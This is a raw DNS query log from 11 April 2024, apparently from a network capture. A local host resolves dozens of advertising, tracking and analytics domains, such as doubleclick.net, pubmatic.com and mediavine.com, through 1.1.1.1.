Apr 11, 2024 23:26:52.172699928 CEST	192.168.2.17	1.1.1.1	0xef66	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:52.172837019 CEST	192.168.2.17	1.1.1.1	0x3f20	Standard query (0)	www.facebook.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:52.173583031 CEST	192.168.2.17	1.1.1.1	0x7f30	Standard query (0)	api.grow.me	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:52.173707962 CEST	192.168.2.17	1.1.1.1	0x6a38	Standard query (0)	api.grow.me	65	IN (0x0001)	false
Apr 11, 2024 23:26:52.174495935 CEST	192.168.2.17	1.1.1.1	0x9969	Standard query (0)	analytics.google.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:52.174619913 CEST	192.168.2.17	1.1.1.1	0x3cb0	Standard query (0)	analytics.google.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:52.624954939 CEST	192.168.2.17	1.1.1.1	0xe4c5	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:52.625104904 CEST	192.168.2.17	1.1.1.1	0xb65e	Standard query (0)	www.facebook.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:52.674920082 CEST	192.168.2.17	1.1.1.1	0x1ae7	Standard query (0)	tr6.snapchat.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:52.675295115 CEST	192.168.2.17	1.1.1.1	0x99e7	Standard query (0)	tr6.snapchat.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:52.812777042 CEST	192.168.2.17	1.1.1.1	0xdfc7	Standard query (0)	analytics.pangle-ads.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:52.812928915 CEST	192.168.2.17	1.1.1.1	0xb995	Standard query (0)	analytics.pangle-ads.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:53.119349003 CEST	192.168.2.17	1.1.1.1	0xbe76	Standard query (0)	some.growplow.events	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:53.119496107 CEST	192.168.2.17	1.1.1.1	0xc8e6	Standard query (0)	some.growplow.events	65	IN (0x0001)	false
Apr 11, 2024 23:26:53.128575087 CEST	192.168.2.17	1.1.1.1	0x70d0	Standard query (0)	app.grow.me	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:53.128724098 CEST	192.168.2.17	1.1.1.1	0x2c	Standard query (0)	app.grow.me	65	IN (0x0001)	false
Apr 11, 2024 23:26:53.687048912 CEST	192.168.2.17	1.1.1.1	0x8c9d	Standard query (0)	ct.pinterest.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:53.687202930 CEST	192.168.2.17	1.1.1.1	0x7847	Standard query (0)	ct.pinterest.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:54.659370899 CEST	192.168.2.17	1.1.1.1	0xcb26	Standard query (0)	to.getnitropack.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:54.659504890 CEST	192.168.2.17	1.1.1.1	0xf57b	Standard query (0)	to.getnitropack.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:56.911566973 CEST	192.168.2.17	1.1.1.1	0x8433	Standard query (0)	sda.fyi	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:56.911745071 CEST	192.168.2.17	1.1.1.1	0xd21d	Standard query (0)	sda.fyi	65	IN (0x0001)	false
Apr 11, 2024 23:26:56.912082911 CEST	192.168.2.17	1.1.1.1	0x612b	Standard query (0)	sda.fyi	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:56.912352085 CEST	192.168.2.17	1.1.1.1	0x4b6	Standard query (0)	sda.fyi	65	IN (0x0001)	false
Apr 11, 2024 23:26:57.426666021 CEST	192.168.2.17	1.1.1.1	0x45dc	Standard query (0)	sda.fyi	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:57.426779032 CEST	192.168.2.17	1.1.1.1	0xacc8	Standard query (0)	sda.fyi	65	IN (0x0001)	false
Apr 11, 2024 23:26:57.616830111 CEST	192.168.2.17	1.1.1.1	0x85a3	Standard query (0)	imp-dev.mediavine.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:57.616962910 CEST	192.168.2.17	1.1.1.1	0x99a5	Standard query (0)	imp-dev.mediavine.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:57.622617960 CEST	192.168.2.17	1.1.1.1	0x4cf	Standard query (0)	scripts.mediavine.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:57.622778893 CEST	192.168.2.17	1.1.1.1	0x5e52	Standard query (0)	scripts.mediavine.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:57.632550001 CEST	192.168.2.17	1.1.1.1	0x4b23	Standard query (0)	api.rlcdn.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:57.632740974 CEST	192.168.2.17	1.1.1.1	0x5f13	Standard query (0)	api.rlcdn.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:57.633177042 CEST	192.168.2.17	1.1.1.1	0x6863	Standard query (0)	match.adsrvr.org	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:57.633356094 CEST	192.168.2.17	1.1.1.1	0xcc45	Standard query (0)	match.adsrvr.org	65	IN (0x0001)	false
Apr 11, 2024 23:26:57.636310101 CEST	192.168.2.17	1.1.1.1	0xc88f	Standard query (0)	gum.criteo.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:57.636467934 CEST	192.168.2.17	1.1.1.1	0x3ab3	Standard query (0)	gum.criteo.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:57.637228966 CEST	192.168.2.17	1.1.1.1	0xcba7	Standard query (0)	lexicon.33across.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:57.637348890 CEST	192.168.2.17	1.1.1.1	0xe8f2	Standard query (0)	lexicon.33across.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:57.692740917 CEST	192.168.2.17	1.1.1.1	0x20e1	Standard query (0)	exchange.mediavine.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:57.692898989 CEST	192.168.2.17	1.1.1.1	0xfb45	Standard query (0)	exchange.mediavine.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:58.079480886 CEST	192.168.2.17	1.1.1.1	0xf4bd	Standard query (0)	imp-dev.mediavine.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.079619884 CEST	192.168.2.17	1.1.1.1	0xa377	Standard query (0)	imp-dev.mediavine.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:58.129189014 CEST	192.168.2.17	1.1.1.1	0xc8cd	Standard query (0)	match.adsrvr.org	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.129631996 CEST	192.168.2.17	1.1.1.1	0x75f0	Standard query (0)	match.adsrvr.org	65	IN (0x0001)	false
Apr 11, 2024 23:26:58.469504118 CEST	192.168.2.17	1.1.1.1	0x3ca1	Standard query (0)	gum.criteo.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.469676018 CEST	192.168.2.17	1.1.1.1	0xb764	Standard query (0)	gum.criteo.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:58.558370113 CEST	192.168.2.17	1.1.1.1	0xc89a	Standard query (0)	lexicon.33across.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.558521032 CEST	192.168.2.17	1.1.1.1	0x91cf	Standard query (0)	lexicon.33across.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:58.635488987 CEST	192.168.2.17	1.1.1.1	0x7951	Standard query (0)	faves.grow.me	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.635631084 CEST	192.168.2.17	1.1.1.1	0x959a	Standard query (0)	faves.grow.me	65	IN (0x0001)	false
Apr 11, 2024 23:26:58.874703884 CEST	192.168.2.17	1.1.1.1	0x6650	Standard query (0)	ads.pubmatic.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.874929905 CEST	192.168.2.17	1.1.1.1	0x52ec	Standard query (0)	ads.pubmatic.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:58.875777960 CEST	192.168.2.17	1.1.1.1	0xc834	Standard query (0)	bh.contextweb.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.875910997 CEST	192.168.2.17	1.1.1.1	0x21fd	Standard query (0)	bh.contextweb.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:58.876241922 CEST	192.168.2.17	1.1.1.1	0xf03c	Standard query (0)	acdn.adnxs.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.876589060 CEST	192.168.2.17	1.1.1.1	0x5882	Standard query (0)	acdn.adnxs.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:58.877262115 CEST	192.168.2.17	1.1.1.1	0x3a08	Standard query (0)	u.openx.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.877490044 CEST	192.168.2.17	1.1.1.1	0xb588	Standard query (0)	u.openx.net	65	IN (0x0001)	false
Apr 11, 2024 23:26:58.878618956 CEST	192.168.2.17	1.1.1.1	0x7b25	Standard query (0)	secure-assets.rubiconproject.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.878787994 CEST	192.168.2.17	1.1.1.1	0xe3d7	Standard query (0)	secure-assets.rubiconproject.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:58.879077911 CEST	192.168.2.17	1.1.1.1	0x842	Standard query (0)	rtb.gumgum.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.879199982 CEST	192.168.2.17	1.1.1.1	0xda89	Standard query (0)	rtb.gumgum.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:58.879499912 CEST	192.168.2.17	1.1.1.1	0xe237	Standard query (0)	ads.yieldmo.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.879626989 CEST	192.168.2.17	1.1.1.1	0xd965	Standard query (0)	ads.yieldmo.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:58.879903078 CEST	192.168.2.17	1.1.1.1	0x54fc	Standard query (0)	eb2.3lift.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.880068064 CEST	192.168.2.17	1.1.1.1	0x368	Standard query (0)	eb2.3lift.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:58.880367041 CEST	192.168.2.17	1.1.1.1	0x2e8c	Standard query (0)	ssum-sec.casalemedia.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.880528927 CEST	192.168.2.17	1.1.1.1	0xd7f3	Standard query (0)	ssum-sec.casalemedia.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:58.880815983 CEST	192.168.2.17	1.1.1.1	0xf94a	Standard query (0)	ssbsync.smartadserver.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.880934954 CEST	192.168.2.17	1.1.1.1	0x7e3b	Standard query (0)	ssbsync.smartadserver.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:58.881198883 CEST	192.168.2.17	1.1.1.1	0x3dd	Standard query (0)	contextual.media.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.881360054 CEST	192.168.2.17	1.1.1.1	0x61d8	Standard query (0)	contextual.media.net	65	IN (0x0001)	false
Apr 11, 2024 23:26:58.881714106 CEST	192.168.2.17	1.1.1.1	0x5f41	Standard query (0)	sync.colossusssp.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.881840944 CEST	192.168.2.17	1.1.1.1	0x3a4b	Standard query (0)	sync.colossusssp.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:58.882402897 CEST	192.168.2.17	1.1.1.1	0xe8bb	Standard query (0)	ssc-cms.33across.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.882556915 CEST	192.168.2.17	1.1.1.1	0x1cf4	Standard query (0)	ssc-cms.33across.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:58.882992029 CEST	192.168.2.17	1.1.1.1	0x6531	Standard query (0)	e.chicoryapp.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.883111954 CEST	192.168.2.17	1.1.1.1	0x6bfb	Standard query (0)	e.chicoryapp.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:58.883358002 CEST	192.168.2.17	1.1.1.1	0xdd7c	Standard query (0)	exchange.journeymv.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:58.883462906 CEST	192.168.2.17	1.1.1.1	0x9e5c	Standard query (0)	exchange.journeymv.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:59.458342075 CEST	192.168.2.17	1.1.1.1	0x63a1	Standard query (0)	secure.adnxs.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.458545923 CEST	192.168.2.17	1.1.1.1	0x96ba	Standard query (0)	secure.adnxs.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:59.458821058 CEST	192.168.2.17	1.1.1.1	0x3421	Standard query (0)	image6.pubmatic.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.458961010 CEST	192.168.2.17	1.1.1.1	0x4aa2	Standard query (0)	image6.pubmatic.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:59.460499048 CEST	192.168.2.17	1.1.1.1	0xcdb	Standard query (0)	x.bidswitch.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.460704088 CEST	192.168.2.17	1.1.1.1	0x5f3c	Standard query (0)	x.bidswitch.net	65	IN (0x0001)	false
Apr 11, 2024 23:26:59.465948105 CEST	192.168.2.17	1.1.1.1	0xe2a2	Standard query (0)	us-u.openx.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.466094017 CEST	192.168.2.17	1.1.1.1	0x32ce	Standard query (0)	us-u.openx.net	65	IN (0x0001)	false
Apr 11, 2024 23:26:59.468019009 CEST	192.168.2.17	1.1.1.1	0x25c3	Standard query (0)	sync.srv.stackadapt.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.468168020 CEST	192.168.2.17	1.1.1.1	0xb9f6	Standard query (0)	sync.srv.stackadapt.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:59.468466043 CEST	192.168.2.17	1.1.1.1	0x9ee8	Standard query (0)	pr-bh.ybp.yahoo.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.468652010 CEST	192.168.2.17	1.1.1.1	0xa861	Standard query (0)	pr-bh.ybp.yahoo.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:59.470084906 CEST	192.168.2.17	1.1.1.1	0x8352	Standard query (0)	sync.ipredictive.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.470298052 CEST	192.168.2.17	1.1.1.1	0x8d24	Standard query (0)	sync.ipredictive.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:59.471070051 CEST	192.168.2.17	1.1.1.1	0x7855	Standard query (0)	match.deepintent.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.471456051 CEST	192.168.2.17	1.1.1.1	0x24fd	Standard query (0)	match.deepintent.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:59.471915007 CEST	192.168.2.17	1.1.1.1	0x2548	Standard query (0)	b1sync.zemanta.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.472058058 CEST	192.168.2.17	1.1.1.1	0x629d	Standard query (0)	b1sync.zemanta.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:59.477808952 CEST	192.168.2.17	1.1.1.1	0x5479	Standard query (0)	c1.adform.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.477963924 CEST	192.168.2.17	1.1.1.1	0x4fd2	Standard query (0)	c1.adform.net	65	IN (0x0001)	false
Apr 11, 2024 23:26:59.496561050 CEST	192.168.2.17	1.1.1.1	0x161b	Standard query (0)	cm.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.496771097 CEST	192.168.2.17	1.1.1.1	0x5d30	Standard query (0)	cm.g.doubleclick.net	65	IN (0x0001)	false
Apr 11, 2024 23:26:59.544475079 CEST	192.168.2.17	1.1.1.1	0x6843	Standard query (0)	eus.rubiconproject.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.544620991 CEST	192.168.2.17	1.1.1.1	0x1b78	Standard query (0)	eus.rubiconproject.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:59.593441963 CEST	192.168.2.17	1.1.1.1	0xe626	Standard query (0)	de.tynt.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.593632936 CEST	192.168.2.17	1.1.1.1	0xc7f6	Standard query (0)	de.tynt.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:59.660290956 CEST	192.168.2.17	1.1.1.1	0xf6d6	Standard query (0)	match.adsrvr.org	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.660583973 CEST	192.168.2.17	1.1.1.1	0x1063	Standard query (0)	match.adsrvr.org	65	IN (0x0001)	false
Apr 11, 2024 23:26:59.773071051 CEST	192.168.2.17	1.1.1.1	0x8e8b	Standard query (0)	ib.adnxs.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.773380995 CEST	192.168.2.17	1.1.1.1	0x3385	Standard query (0)	ib.adnxs.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:59.792593002 CEST	192.168.2.17	1.1.1.1	0xfd9f	Standard query (0)	tg.socdm.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.792773008 CEST	192.168.2.17	1.1.1.1	0x7c62	Standard query (0)	tg.socdm.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:59.803796053 CEST	192.168.2.17	1.1.1.1	0x3bfb	Standard query (0)	creativecdn.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.804101944 CEST	192.168.2.17	1.1.1.1	0x3877	Standard query (0)	creativecdn.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:59.952603102 CEST	192.168.2.17	1.1.1.1	0x8fad	Standard query (0)	s.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.952903986 CEST	192.168.2.17	1.1.1.1	0xf700	Standard query (0)	s.amazon-adsystem.com	65	IN (0x0001)	false
Apr 11, 2024 23:26:59.982613087 CEST	192.168.2.17	1.1.1.1	0x2418	Standard query (0)	match.prod.bidr.io	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.983666897 CEST	192.168.2.17	1.1.1.1	0xfa6c	Standard query (0)	match.prod.bidr.io	65	IN (0x0001)	false
Apr 11, 2024 23:26:59.985692978 CEST	192.168.2.17	1.1.1.1	0xb323	Standard query (0)	cm.adgrx.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:26:59.985852957 CEST	192.168.2.17	1.1.1.1	0x6a35	Standard query (0)	cm.adgrx.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:00.012940884 CEST	192.168.2.17	1.1.1.1	0x1f12	Standard query (0)	us01.z.antigena.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.013096094 CEST	192.168.2.17	1.1.1.1	0xa6ba	Standard query (0)	us01.z.antigena.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:00.015697002 CEST	192.168.2.17	1.1.1.1	0xf741	Standard query (0)	um.simpli.fi	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.015894890 CEST	192.168.2.17	1.1.1.1	0xc5bf	Standard query (0)	um.simpli.fi	65	IN (0x0001)	false
Apr 11, 2024 23:27:00.064445019 CEST	192.168.2.17	1.1.1.1	0x9287	Standard query (0)	ap.lijit.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.064601898 CEST	192.168.2.17	1.1.1.1	0x4924	Standard query (0)	ap.lijit.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:00.172952890 CEST	192.168.2.17	1.1.1.1	0x1984	Standard query (0)	ups.analytics.yahoo.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.173192024 CEST	192.168.2.17	1.1.1.1	0x7fc3	Standard query (0)	ups.analytics.yahoo.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:00.181011915 CEST	192.168.2.17	1.1.1.1	0x72ce	Standard query (0)	ad.turn.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.181162119 CEST	192.168.2.17	1.1.1.1	0x3bd7	Standard query (0)	ad.turn.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:00.182379007 CEST	192.168.2.17	1.1.1.1	0x95	Standard query (0)	sync-tm.everesttech.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.182540894 CEST	192.168.2.17	1.1.1.1	0x595e	Standard query (0)	sync-tm.everesttech.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:00.192656994 CEST	192.168.2.17	1.1.1.1	0xfdd7	Standard query (0)	ap.lijit.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.327991962 CEST	192.168.2.17	1.1.1.1	0x1a5b	Standard query (0)	secure.adnxs.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.328236103 CEST	192.168.2.17	1.1.1.1	0x58cb	Standard query (0)	secure.adnxs.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:00.361161947 CEST	192.168.2.17	1.1.1.1	0x4ef	Standard query (0)	x.bidswitch.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.361291885 CEST	192.168.2.17	1.1.1.1	0xdbb5	Standard query (0)	x.bidswitch.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:00.493120909 CEST	192.168.2.17	1.1.1.1	0x390b	Standard query (0)	securepubads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.493331909 CEST	192.168.2.17	1.1.1.1	0x1512	Standard query (0)	securepubads.g.doubleclick.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:00.515105963 CEST	192.168.2.17	1.1.1.1	0x8341	Standard query (0)	usersync.gumgum.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.515269995 CEST	192.168.2.17	1.1.1.1	0x44f3	Standard query (0)	usersync.gumgum.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:00.657097101 CEST	192.168.2.17	1.1.1.1	0x64a7	Standard query (0)	hde.tynt.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.657254934 CEST	192.168.2.17	1.1.1.1	0xbb34	Standard query (0)	hde.tynt.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:00.823035002 CEST	192.168.2.17	1.1.1.1	0xfc91	Standard query (0)	match.deepintent.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.823163986 CEST	192.168.2.17	1.1.1.1	0x2eb2	Standard query (0)	match.deepintent.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:00.854317904 CEST	192.168.2.17	1.1.1.1	0xb201	Standard query (0)	image2.pubmatic.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:00.854460955 CEST	192.168.2.17	1.1.1.1	0x479e	Standard query (0)	image2.pubmatic.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:01.099327087 CEST	192.168.2.17	1.1.1.1	0x18a	Standard query (0)	eb2.3lift.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:01.099500895 CEST	192.168.2.17	1.1.1.1	0x9dce	Standard query (0)	eb2.3lift.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:01.139965057 CEST	192.168.2.17	1.1.1.1	0x374f	Standard query (0)	simage2.pubmatic.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:01.140105963 CEST	192.168.2.17	1.1.1.1	0xfc96	Standard query (0)	simage2.pubmatic.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:01.227605104 CEST	192.168.2.17	1.1.1.1	0x60e0	Standard query (0)	cdn.lijit.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:01.227757931 CEST	192.168.2.17	1.1.1.1	0xd5a6	Standard query (0)	cdn.lijit.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:01.341624022 CEST	192.168.2.17	1.1.1.1	0xd5da	Standard query (0)	client-rapi-mediavine.recombee.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:01.341667891 CEST	192.168.2.17	1.1.1.1	0x95a2	Standard query (0)	client-rapi-mediavine.recombee.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:01.486954927 CEST	192.168.2.17	1.1.1.1	0xa09	Standard query (0)	pr-bh.ybp.yahoo.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:01.487168074 CEST	192.168.2.17	1.1.1.1	0xe355	Standard query (0)	pr-bh.ybp.yahoo.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:01.596164942 CEST	192.168.2.17	1.1.1.1	0xe448	Standard query (0)	dsp.nrich.ai	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:01.596318960 CEST	192.168.2.17	1.1.1.1	0x42bd	Standard query (0)	dsp.nrich.ai	65	IN (0x0001)	false
Apr 11, 2024 23:27:01.622447014 CEST	192.168.2.17	1.1.1.1	0x9238	Standard query (0)	id.rlcdn.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:01.622618914 CEST	192.168.2.17	1.1.1.1	0xd7c4	Standard query (0)	id.rlcdn.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:01.784070969 CEST	192.168.2.17	1.1.1.1	0xfbdd	Standard query (0)	usersync.gumgum.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:01.784224987 CEST	192.168.2.17	1.1.1.1	0xd2f2	Standard query (0)	usersync.gumgum.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:01.901671886 CEST	192.168.2.17	1.1.1.1	0xa1c9	Standard query (0)	image2.pubmatic.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:01.901823997 CEST	192.168.2.17	1.1.1.1	0xc5e2	Standard query (0)	image2.pubmatic.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:01.905276060 CEST	192.168.2.17	1.1.1.1	0x98a4	Standard query (0)	ads.pubmatic.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:01.905426025 CEST	192.168.2.17	1.1.1.1	0xcb88	Standard query (0)	ads.pubmatic.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:01.964504004 CEST	192.168.2.17	1.1.1.1	0x5616	Standard query (0)	exchange.mediavine.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:01.964677095 CEST	192.168.2.17	1.1.1.1	0x683	Standard query (0)	exchange.mediavine.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:02.093183994 CEST	192.168.2.17	1.1.1.1	0x2c73	Standard query (0)	token.rubiconproject.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.093378067 CEST	192.168.2.17	1.1.1.1	0x9a21	Standard query (0)	token.rubiconproject.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:02.169593096 CEST	192.168.2.17	1.1.1.1	0xf4cf	Standard query (0)	ups.analytics.yahoo.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.169749975 CEST	192.168.2.17	1.1.1.1	0xc0a0	Standard query (0)	ups.analytics.yahoo.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:02.170084953 CEST	192.168.2.17	1.1.1.1	0x7d6b	Standard query (0)	ice.360yield.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.170197964 CEST	192.168.2.17	1.1.1.1	0xf0c5	Standard query (0)	ice.360yield.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:02.170839071 CEST	192.168.2.17	1.1.1.1	0x9d50	Standard query (0)	crb.kargo.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.170970917 CEST	192.168.2.17	1.1.1.1	0xab31	Standard query (0)	crb.kargo.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:02.172105074 CEST	192.168.2.17	1.1.1.1	0xa2e5	Standard query (0)	image4.pubmatic.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.172241926 CEST	192.168.2.17	1.1.1.1	0xd8d1	Standard query (0)	image4.pubmatic.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:02.289414883 CEST	192.168.2.17	1.1.1.1	0x1d7e	Standard query (0)	sync.intentiq.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.289552927 CEST	192.168.2.17	1.1.1.1	0x8cc1	Standard query (0)	sync.intentiq.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:02.295092106 CEST	192.168.2.17	1.1.1.1	0x9a93	Standard query (0)	us-u.openx.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.295233011 CEST	192.168.2.17	1.1.1.1	0x7aa5	Standard query (0)	us-u.openx.net	65	IN (0x0001)	false
Apr 11, 2024 23:27:02.374023914 CEST	192.168.2.17	1.1.1.1	0x1126	Standard query (0)	c.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.374185085 CEST	192.168.2.17	1.1.1.1	0xb8a4	Standard query (0)	c.amazon-adsystem.com	65	IN (0x0001)	false
Apr 11, 2024 23:27:02.479415894 CEST	192.168.2.17	1.1.1.1	0xe160	Standard query (0)	p.rfihub.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:02.479554892 CEST	192.168.2.17	1.1.1.1	0x94c8	Standard query (0)	p.rfihub.com	65	IN (0x0001)	false
